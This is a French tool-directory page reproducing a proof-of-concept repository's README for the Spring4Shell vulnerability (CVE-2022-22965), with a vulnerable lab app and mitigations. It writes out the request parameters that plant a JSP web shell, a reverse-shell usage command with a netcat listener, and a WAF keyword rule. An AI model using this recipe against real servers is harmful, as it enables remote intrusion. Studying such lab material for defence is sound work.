Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Description | Kitploit
Outils/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHub
march0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

Description

Voir le dépôt
3il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC — CVE-2022-22965 (Spring4Shell)

Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Tous les scripts d'exploitation doivent être utilisés exclusivement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite de tester. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par ce matériel.

Étude et preuve de concept pour CVE-2022-22965, une vulnérabilité critique d'exécution de code à distance (RCE) dans Spring Framework, divulguée publiquement en avril 2022.


Aperçu de la vulnérabilité

Spring4Shell affecte les applications Spring MVC et Spring WebFlux lorsque toutes les conditions suivantes sont réunies :

ConditionValeur
Version JDK9 ou supérieure
Serveur d'applicationApache Tomcat
EmballageWAR (pas JAR exécutable)
Spring Framework< 5.3.18 ou < 5.2.20

Comment ça fonctionne

Le mécanisme de liaison de données de Spring permet de mapper les paramètres de requête HTTP aux propriétés des objets Java en utilisant la notation pointée (ex. user.name=foo). La vulnérabilité survient car cette traversée n'est pas correctement restreinte — un attaquant peut atteindre le ClassLoader de la JVM à travers la hiérarchie de classes de l'objet modèle :

class.module.classLoader.resources.context.parent.pipeline.first.<property>

Ce chemin atteint AccessLogValve de Tomcat, dont la configuration de journalisation peut être manipulée à l'exécution. En modifiant des propriétés telles que pattern, directory, prefix, et suffix, l'attaquant redirige le journal d'accès de Tomcat pour écrire un fichier avec une extension .jsp contenant du code JSP arbitraire — plantant ainsi une web shell sur le serveur.

Déroulement de l'attaque

1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat écrit le journal d'accès dans webapps/ROOT/shell.jsp avec la charge utile injectée

3. GET /shell.jsp?cmd=id  →  RCE

Structure du dépôt

.
├── exploits/
│   ├── exploit1.py   # web shell basé sur POST avec protection par mot de passe
│   ├── exploit2.py   # web shell basé sur POST avec capacité de réinitialisation
│   ├── exploit3.py   # variante basée sur GET (simplifiée)
│   ├── exploit4.py   # shell TCP inverse (basé sur GET)
│   └── exploit4b.py  # shell TCP inverse (basé sur POST)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Utilise une image tomcat:9.0.60 pré-construite
    ├── Dockerfile2   # Construit à partir de openjdk:11 + télécharge Tomcat
    ├── pom.xml       # Projet Maven — Spring MVC 5.3.17 (vulnérable)
    └── src/          # Code source de l'application Spring MVC vulnérable

Variantes d'exploitation

ScriptMéthodeCharge utileRemarques
exploit1.pyPOSTWeb shell (protégé par mot de passe)Requête unique
exploit2.pyPOSTWeb shellRéinitialise la configuration du journal avant/après l'exploitation
exploit3.pyGETWeb shell (sans mot de passe)Paramètres via la chaîne de requête
exploit4.pyGETShell TCP inverseCharge utile JSP basée sur msfvenom
exploit4b.pyPOSTShell TCP inverseMême charge utile que exploit4, variante POST

Exemple d'utilisation

# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Shell inverse (démarrer d'abord l'écouteur : nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Configuration du laboratoire

Prérequis

  • Java 11+
  • Maven (sudo apt install maven ou sudo dnf install maven)
  • Docker (optionnel, recommandé)

Construction

cd springmvc5-helloworld-example
mvn clean package

Exécution avec Docker

# Option 1 — image Tomcat pré-construite
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — construction à partir de openjdk + téléchargement de Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

L'application est alors disponible à l'adresse http://localhost:8082/vulnerable.


Atténuation

  • Mettez à jour Spring Framework vers 5.3.18+ ou 5.2.20+
  • Mettez à jour Spring Boot vers 2.6.6+ ou 2.5.12+
  • Si la mise à jour n'est pas immédiatement possible :
    • Revenez à JDK 8
    • Utilisez WebDataBinder.setDisallowedFields() pour bloquer la liaison classLoader
    • Déployez une règle WAF bloquant les paramètres contenant class., Class., module., ou classLoader

Crédits

Recherche originale et code d'exploitation par @march0n. Ce dépôt est une étude personnelle de la vulnérabilité à des fins d'apprentissage, avec documentation et analyse supplémentaires.


Références

  • CVE-2010-1622 — exploit original Spring ClassLoader (2010)
  • Divulgation chinoise initiale (Weixin)
  • Blog de sécurité Microsoft — Conseils sur SpringShell
  • LunaSec — Analyse des vulnérabilités Spring RCE
  • Palo Alto Unit 42 — Analyse approfondie de CVE-2022-22965
Télécharger l’outil